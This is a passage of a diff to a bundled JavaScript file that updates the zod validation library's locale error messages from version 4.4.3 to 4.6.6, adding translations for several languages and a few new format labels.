receivedType; + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${expected}, \u09AA\u09CD\u09B0\u09BE\u09AA\u09CD\u09A4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0985\u09AC\u09C8\u09A7 \u0985\u09AA\u09B6\u09A8: ${joinValues(issue2.values, " | ")} \u098F\u09B0 \u09AE\u09A7\u09CD\u09AF\u09C7 \u098F\u0995\u099F\u09BF \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u098F\u09B2\u09BF\u09AE\u09C7\u09A8\u09CD\u099F"} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.prefix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C1\u09B0\u09C1 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + if (_issue.format === "ends_with") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.suffix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C7\u09B7 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "includes") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.includes}" \u0985\u09A8\u09CD\u09A4\u09B0\u09CD\u09AD\u09C1\u0995\u09CD\u09A4 \u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "regex") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: ${_issue.pattern} \u09AA\u09CD\u09AF\u09BE\u099F\u09BE\u09B0\u09CD\u09A8 \u09AE\u09BF\u09B2\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09AC\u09C8\u09A7 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0985\u09AC\u09C8\u09A7 \u09A8\u09AE\u09CD\u09AC\u09B0: ${issue2.divisor} \u098F\u09B0 \u0997\u09C1\u09A3\u09BF\u09A4\u0995 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + case "unrecognized_keys": + return `\u0985\u099A\u09C7\u09A8\u09BE \u0995\u09C0${issue2.keys.length > 1 ? "\u0997\u09C1\u09B2\u09CB" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u0995\u09C0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0985\u09AC\u09C8\u09A7 \u09A1\u09BF\u09B8\u0995\u09CD\u09B0\u09BF\u09AE\u09BF\u09A8\u09C7\u099F\u09B0 \u09AE\u09BE\u09A8\u0964 \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${opts}`; + } + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + case "invalid_element": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u09AE\u09BE\u09A8`; + default: + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + } + }; +}; +function bn_default() { + return { + localeError: error5() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ca.js +var error6 = () => { const Sizable = { string: { unit: "car\xE0cters", verb: "contenir" }, file: { unit: "bytes", verb: "contenir" }, array: { unit: "elements", verb: "contenir" }, - set: { unit: "elements", verb: "contenir" } + set: { unit: "elements", verb: "contenir" }, + map: { unit: "elements", verb: "contenir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -51737,12 +52850,16 @@ var error5 = () => { duration: "durada ISO", ipv4: "adre\xE7a IPv4", ipv6: "adre\xE7a IPv6", + mac: "adre\xE7a MAC", cidrv4: "rang IPv4", cidrv6: "rang IPv6", base64: "cadena codificada en base64", base64url: "cadena codificada en base64url", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de targeta de cr\xE8dit", + currency_code: "codi de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -51810,17 +52927,151 @@ var error5 = () => { }; function ca_default() { return { - localeError: error5() + localeError: error6() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/cs.js -var error6 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ckb.js +var error7 = () => { + const Sizable = { + string: { unit: "\u067E\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + array: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + set: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + map: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regex", + email: "\u0626\u06CC\u0645\u06D5\u06CC\u06B5", + url: "\u0628\u06D5\u0633\u062A\u06D5\u0631 (URL)", + emoji: "\u0626\u06CC\u0645\u06C6\u062C\u06CC", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0695\u06CE\u06A9\u06D5\u0648\u062A \u0648 \u06A9\u0627\u062A", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + time: "\u06A9\u0627\u062A", + duration: "\u0645\u0627\u0648\u06D5", + ipv4: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv4", + ipv6: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv6", + mac: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC MAC", + cidrv4: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv4", + cidrv6: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv6", + base64: "\u062F\u06D5\u0642\u06CC base64", + base64url: "\u062F\u06D5\u0642\u06CC base64url", + json_string: "\u062F\u06D5\u0642\u06CC JSON", + e164: "\u0698\u0645\u0627\u0631\u06D5\u06CC E.164", + credit_card: "\u0698\u0645\u0627\u0631\u06D5\u06CC \u06A9\u0627\u0631\u062A\u06CC \u06A9\u0631\u06CE\u062F\u06CC\u062A", + currency_code: "\u06A9\u06C6\u062F\u06CC \u062F\u0631\u0627\u0648", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u062A\u06CE\u06A9\u0631\u062F\u06D5" + }; + const TypeDictionary = { + nan: "NaN", + string: "\u0646\u0648\u0648\u0633\u06CC\u0646", + number: "\u0698\u0645\u0627\u0631\u06D5", + boolean: "boolean", + array: "array", + object: "object", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + integer: "\u0698\u0645\u0627\u0631\u06D5", + float: "\u0698\u0645\u0627\u0631\u06D5", + null: "null", + undefined: "undefined", + function: "function", + symbol: "symbol", + unknown: "unknown", + promise: "promise", + void: "void", + never: "never", + map: "map", + set: "set" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + const postfix = ["\u0627", "\u0648", "\u06C6", "\u0648\u0648", "\u06D5", "\u06CC", "\u06CE"].some((p) => received.endsWith(p)) ? "\u06CC\u06D5" : "\u06D5"; + const isEnglish = /^[a-zA-Z]+$/.test(received); + if (receivedType === "null" || receivedType === "undefined") + return `\u062F\u0627\u0648\u0627\u06A9\u0631\u0627\u0648\u06D5`; + return `\u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${expected} \u0628\u06CE\u062A\u060C \u0628\u06D5\u06B5\u0627\u0645 ${received}${isEnglish ? "" : postfix}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0648\u0633\u062A\u06D5: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${stringifyPrimitive(issue2.values[0])} \u0628\u06CE\u062A`; + return `\u0647\u06D5\u06B5\u0628\u0698\u0627\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 \u06CC\u06D5\u06A9\u06CE\u06A9 \u0628\u06CE\u062A \u0644\u06D5 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} \u0628\u06CE\u062A`; + } + case "too_small": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} \u0628\u06CE\u062A`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u062F\u06D5\u0633\u062A\u067E\u06CE\u0628\u06A9\u0627\u062A \u0628\u06D5 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u06A9\u06C6\u062A\u0627\u06CC\u06CC\u0628\u06CE\u062A \u0628\u06D5 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 "${_issue.includes}" \u0644\u06D5\u062E\u06C6\u0628\u06AF\u0631\u06CE\u062A`; + if (_issue.format === "regex") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0644\u06D5\u06AF\u06D5\u06B5 \u067E\u0627\u062A\u06CE\u0631\u0646\u06CC ${_issue.pattern} \u0628\u06AF\u0648\u0646\u062C\u06CE\u062A`; + return `\u0628\u06D5\u0647\u0627\u06CC ${FormatDictionary[_issue.format] ?? issue2.format} \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + } + case "not_multiple_of": + return `\u0698\u0645\u0627\u0631\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u062F\u06D5\u0628\u06CE\u062A \u0686\u06D5\u0646\u062F \u0647\u06CE\u0646\u062F\u06D5 \u0628\u06CE\u062A \u0628\u06C6 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A \u0644\u06D5 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0628\u06D5\u0647\u0627\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648 \u0647\u06D5\u06CC\u06D5. \u0628\u06D5\u0647\u0627\u06CC \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648: ${opts}`; + } + return "\u06CC\u06D5\u06A9\u06AF\u0631\u062A\u0646\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A"; + case "invalid_element": + return `${issue2.origin} \u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + default: + return `\u062A\u06CE\u06A9\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A`; + } + }; +}; +function ckb_default() { + return { + localeError: error7() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/cs.js +var error8 = () => { const Sizable = { string: { unit: "znak\u016F", verb: "m\xEDt" }, file: { unit: "bajt\u016F", verb: "m\xEDt" }, array: { unit: "prvk\u016F", verb: "m\xEDt" }, - set: { unit: "prvk\u016F", verb: "m\xEDt" } + set: { unit: "prvk\u016F", verb: "m\xEDt" }, + map: { unit: "prvk\u016F", verb: "m\xEDt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -51846,12 +53097,16 @@ var error6 = () => { duration: "doba trv\xE1n\xED ISO", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "rozsah IPv4", cidrv6: "rozsah IPv6", base64: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64", base64url: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64url", json_string: "\u0159et\u011Bzec ve form\xE1tu JSON", e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditn\xED karty", + currency_code: "k\xF3d m\u011Bny", + iban: "IBAN", jwt: "JWT", template_literal: "vstup" }; @@ -51922,17 +53177,18 @@ var error6 = () => { }; function cs_default() { return { - localeError: error6() + localeError: error8() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/da.js -var error7 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/da.js +var error9 = () => { const Sizable = { string: { unit: "tegn", verb: "havde" }, file: { unit: "bytes", verb: "havde" }, array: { unit: "elementer", verb: "indeholdt" }, - set: { unit: "elementer", verb: "indeholdt" } + set: { unit: "elementer", verb: "indeholdt" }, + map: { unit: "elementer", verb: "indeholdt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -51956,14 +53212,18 @@ var error7 = () => { date: "ISO-dato", time: "ISO-klokkesl\xE6t", duration: "ISO-varighed", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodet streng", base64url: "base64url-kodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kreditkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -52038,17 +53298,18 @@ var error7 = () => { }; function da_default() { return { - localeError: error7() + localeError: error9() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/de.js -var error8 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/de.js +var error10 = () => { const Sizable = { string: { unit: "Zeichen", verb: "zu haben" }, file: { unit: "Bytes", verb: "zu haben" }, array: { unit: "Elemente", verb: "zu haben" }, - set: { unit: "Elemente", verb: "zu haben" } + set: { unit: "Elemente", verb: "zu haben" }, + map: { unit: "Elemente", verb: "zu haben" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -52074,12 +53335,16 @@ var error8 = () => { duration: "ISO-Dauer", ipv4: "IPv4-Adresse", ipv6: "IPv6-Adresse", + mac: "MAC-Adresse", cidrv4: "IPv4-Bereich", cidrv6: "IPv6-Bereich", base64: "Base64-codierter String", base64url: "Base64-URL-codierter String", json_string: "JSON-String", e164: "E.164-Nummer", + credit_card: "Kreditkartennummer", + currency_code: "W\xE4hrungscode", + iban: "IBAN", jwt: "JWT", template_literal: "Eingabe" }; @@ -52147,12 +53412,12 @@ var error8 = () => { }; function de_default() { return { - localeError: error8() + localeError: error10() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/el.js -var error9 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/el.js +var error11 = () => { const Sizable = { string: { unit: "\u03C7\u03B1\u03C1\u03B1\u03BA\u03C4\u03AE\u03C1\u03B5\u03C2", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, file: { unit: "bytes", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, @@ -52191,6 +53456,9 @@ var error9 = () => { base64url: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC \u03BA\u03C9\u03B4\u03B9\u03BA\u03BF\u03C0\u03BF\u03B9\u03B7\u03BC\u03AD\u03BD\u03B7 \u03C3\u03B5 base64url", json_string: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC JSON", e164: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 E.164", + credit_card: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 \u03C0\u03B9\u03C3\u03C4\u03C9\u03C4\u03B9\u03BA\u03AE\u03C2 \u03BA\u03AC\u03C1\u03C4\u03B1\u03C2", + currency_code: "\u03BA\u03C9\u03B4\u03B9\u03BA\u03CC\u03C2 \u03BD\u03BF\u03BC\u03AF\u03C3\u03BC\u03B1\u03C4\u03BF\u03C2", + iban: "IBAN", jwt: "JWT", template_literal: "\u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2" }; @@ -52257,12 +53525,12 @@ var error9 = () => { }; function el_default() { return { - localeError: error9() + localeError: error11() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/en.js -var error10 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/en.js +var error12 = () => { const Sizable = { string: { unit: "characters", verb: "to have" }, file: { unit: "bytes", verb: "to have" }, @@ -52301,6 +53569,9 @@ var error10 = () => { base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + currency_code: "currency code", + credit_card: "credit card number", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -52309,12 +53580,18 @@ var error10 = () => { nan: "NaN" // All other type names omitted - they fall back to raw values via ?? operator }; + function getTypeName(type, input2) { + if (type === "number" && typeof input2 === "number" && !Number.isFinite(input2)) { + return String(input2); + } + return TypeDictionary[type] ?? type; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = getTypeName(issue2.expected); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; + const received = getTypeName(receivedType, issue2.input); return `Invalid input: expected ${expected}, received ${received}`; } case "invalid_value": @@ -52322,14 +53599,14 @@ var error10 = () => { return `Invalid input: expected ${stringifyPrimitive(issue2.values[0])}`; return `Invalid option: expected one of ${joinValues(issue2.values, "|")}`; case "too_big": { - const adj = issue2.inclusive ? "<=" : "<"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) return `Too big: expected ${issue2.origin ?? "value"} to have ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elements"}`; return `Too big: expected ${issue2.origin ?? "value"} to be ${adj}${issue2.maximum.toString()}`; } case "too_small": { - const adj = issue2.inclusive ? ">=" : ">"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { return `Too small: expected ${issue2.origin} to have ${adj}${issue2.minimum.toString()} ${sizing.unit}`; @@ -52360,6 +53637,9 @@ var error10 = () => { const opts = issue2.options.map((o) => `'${o}'`).join(" | "); return `Invalid discriminator value. Expected ${opts}`; } + if (issue2.inclusive === false) { + return "Invalid input: more than one option matched"; + } return "Invalid input"; case "invalid_element": return `Invalid value in ${issue2.origin}`; @@ -52370,17 +53650,18 @@ var error10 = () => { }; function en_default() { return { - localeError: error10() + localeError: error12() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/eo.js -var error11 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/eo.js +var error13 = () => { const Sizable = { string: { unit: "karaktrojn", verb: "havi" }, file: { unit: "bajtojn", verb: "havi" }, array: { unit: "elementojn", verb: "havi" }, - set: { unit: "elementojn", verb: "havi" } + set: { unit: "elementojn", verb: "havi" }, + map: { unit: "elementojn", verb: "havi" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -52406,12 +53687,16 @@ var error11 = () => { duration: "ISO-da\u016Dro", ipv4: "IPv4-adreso", ipv6: "IPv6-adreso", + mac: "MAC-adreso", cidrv4: "IPv4-rango", cidrv6: "IPv6-rango", base64: "64-ume kodita karaktraro", base64url: "URL-64-ume kodita karaktraro", json_string: "JSON-karaktraro", e164: "E.164-nombro", + credit_card: "kreditkarta numero", + currency_code: "valuta kodo", + iban: "IBAN", jwt: "JWT", template_literal: "enigo" }; @@ -52480,12 +53765,12 @@ var error11 = () => { }; function eo_default() { return { - localeError: error11() + localeError: error13() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/es.js -var error12 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/es.js +var error14 = () => { const Sizable = { string: { unit: "caracteres", verb: "tener" }, file: { unit: "bytes", verb: "tener" }, @@ -52516,12 +53801,16 @@ var error12 = () => { duration: "duraci\xF3n ISO", ipv4: "direcci\xF3n IPv4", ipv6: "direcci\xF3n IPv6", + mac: "direcci\xF3n MAC", cidrv4: "rango IPv4", cidrv6: "rango IPv6", base64: "cadena codificada en base64", base64url: "URL codificada en base64", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de tarjeta de cr\xE9dito", + currency_code: "c\xF3digo de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -52613,17 +53902,18 @@ var error12 = () => { }; function es_default() { return { - localeError: error12() + localeError: error14() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fa.js -var error13 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fa.js +var error15 = () => { const Sizable = { string: { unit: "\u06A9\u0627\u0631\u0627\u06A9\u062A\u0631", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, array: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, - set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } + set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, + map: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -52649,12 +53939,16 @@ var error13 = () => { duration: "\u0645\u062F\u062A \u0632\u0645\u0627\u0646 \u0627\u06CC\u0632\u0648", ipv4: "IPv4 \u0622\u062F\u0631\u0633", ipv6: "IPv6 \u0622\u062F\u0631\u0633", + mac: "MAC \u0622\u062F\u0631\u0633", cidrv4: "IPv4 \u062F\u0627\u0645\u0646\u0647", cidrv6: "IPv6 \u062F\u0627\u0645\u0646\u0647", base64: "base64-encoded \u0631\u0634\u062A\u0647", base64url: "base64url-encoded \u0631\u0634\u062A\u0647", json_string: "JSON \u0631\u0634\u062A\u0647", e164: "E.164 \u0639\u062F\u062F", + credit_card: "\u0634\u0645\u0627\u0631\u0647 \u06A9\u0627\u0631\u062A \u0627\u0639\u062A\u0628\u0627\u0631\u06CC", + currency_code: "\u06A9\u062F \u0627\u0631\u0632", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u06CC" }; @@ -52728,17 +54022,18 @@ var error13 = () => { }; function fa_default() { return { - localeError: error13() + localeError: error15() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fi.js -var error14 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fi.js +var error16 = () => { const Sizable = { string: { unit: "merkki\xE4", subject: "merkkijonon" }, file: { unit: "tavua", subject: "tiedoston" }, array: { unit: "alkiota", subject: "listan" }, set: { unit: "alkiota", subject: "joukon" }, + map: { unit: "alkiota", subject: "kuvauksen" }, number: { unit: "", subject: "luvun" }, bigint: { unit: "", subject: "suuren kokonaisluvun" }, int: { unit: "", subject: "kokonaisluvun" }, @@ -52768,12 +54063,16 @@ var error14 = () => { duration: "ISO-kesto", ipv4: "IPv4-osoite", ipv6: "IPv6-osoite", + mac: "MAC-osoite", cidrv4: "IPv4-alue", cidrv6: "IPv6-alue", base64: "base64-koodattu merkkijono", base64url: "base64url-koodattu merkkijono", json_string: "JSON-merkkijono", e164: "E.164-luku", + credit_card: "luottokortin numero", + currency_code: "valuuttakoodi", + iban: "IBAN", jwt: "JWT", template_literal: "templaattimerkkijono" }; @@ -52841,12 +54140,12 @@ var error14 = () => { }; function fi_default() { return { - localeError: error14() + localeError: error16() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr.js -var error15 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr.js +var error17 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, @@ -52857,7 +54156,7 @@ var error15 = () => { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "entr\xE9e", + regex: "expression r\xE9guli\xE8re", email: "adresse e-mail", url: "URL", emoji: "emoji", @@ -52877,17 +54176,21 @@ var error15 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", - base64: "cha\xEEne encod\xE9e en base64", - base64url: "cha\xEEne encod\xE9e en base64url", - json_string: "cha\xEEne JSON", - e164: "num\xE9ro E.164", + base64: "cha\xEEne de caract\xE8res encod\xE9e en base64", + base64url: "cha\xEEne de caract\xE8res encod\xE9e en base64url", + json_string: "cha\xEEne de caract\xE8res JSON", + e164: "num\xE9ro au format E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; const TypeDictionary = { - string: "cha\xEEne", + string: "cha\xEEne de caract\xE8res", number: "nombre", int: "entier", boolean: "bool\xE9en", @@ -52901,11 +54204,11 @@ var error15 = () => { array: "tableau", object: "objet", tuple: "tuple", - record: "enregistrement", - map: "carte", + record: "record", + map: "map", set: "ensemble", file: "fichier", - nonoptional: "non-optionnel", + nonoptional: "non optionnel", nan: "NaN", function: "fonction" }; 